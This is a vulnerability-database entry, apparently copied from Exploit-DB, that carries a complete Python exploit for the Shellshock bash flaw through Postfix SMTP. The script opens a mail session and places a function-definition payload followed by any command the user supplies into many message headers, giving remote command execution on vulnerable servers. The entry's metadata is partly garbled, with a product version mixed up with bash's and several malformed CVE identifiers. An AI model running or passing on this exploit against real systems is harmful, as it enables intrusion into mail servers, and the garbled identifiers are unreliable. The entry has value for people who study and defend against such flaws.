ID

VAR-E-201409-0563

CVE

EDB ID

34896

TITLE

Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection - Linux remote Exploit

DESCRIPTION

Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection. CVE-2014-7910CVE-2014-7227CVE-2014-7196CVE-2014-7169CVE-112004CVE-2014-62771CVE-2014-6271CVE-2014-3671CVE-2014-3659 . remote exploit for Linux platform

AFFECTED PRODUCTS

EXPLOIT

#!/bin/python
# Exploit Title: Shellshock SMTP Exploit
# Date: 10/3/2014
# Exploit Author: fattymcwopr
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/
# Version: 4.2.x < 4.2.48
# Tested on: Debian 7 (postfix smtp server w/procmail)
# CVE : 2014-6271

from socket import *
import sys

def usage():
print "shellshock_smtp.py <target> <command>"

argc = len(sys.argv)
if(argc < 3 or argc > 3):
usage()
sys.exit(0)

rport = 25
rhost = sys.argv[1]
cmd = sys.argv[2]

headers = ([
"To",
"References",
"Cc",
"Bcc",
"From",
"Subject",
"Date",
"Message-ID",
"Comments",
"Keywords",
"Resent-Date",
"Resent-From",
"Resent-Sender"
])

s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, rport))

# banner grab
s.recv(2048*4)

def netFormat(d):
d += "\n"
return d.encode('hex').decode('hex')

data = netFormat("mail from:<>")
s.send(data)
s.recv(2048*4)

data = netFormat("rcpt to:<nobody>")
s.send(data)
s.recv(2048*4)

data = netFormat("data")
s.send(data)
s.recv(2048*4)

data = ''
for h in headers:
data += netFormat(h + ":() { :; };" + cmd)

data += netFormat(cmd)

# <CR><LF>.<CR><LF>
data += "0d0a2e0d0a".decode('hex')

s.send(data)
s.recv(2048*4)

data = netFormat("quit")
s.send(data)
s.recv(2048*4)

EXPLOIT LANGUAGE

py

PRICE

free

TYPE

'Shellshock' Remote Command Injection

CREDITS

Phil Blank

EXTERNAL IDS

REFERENCES

SOURCES

LAST UPDATE DATE

2023-05-30T11:41:27.230000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE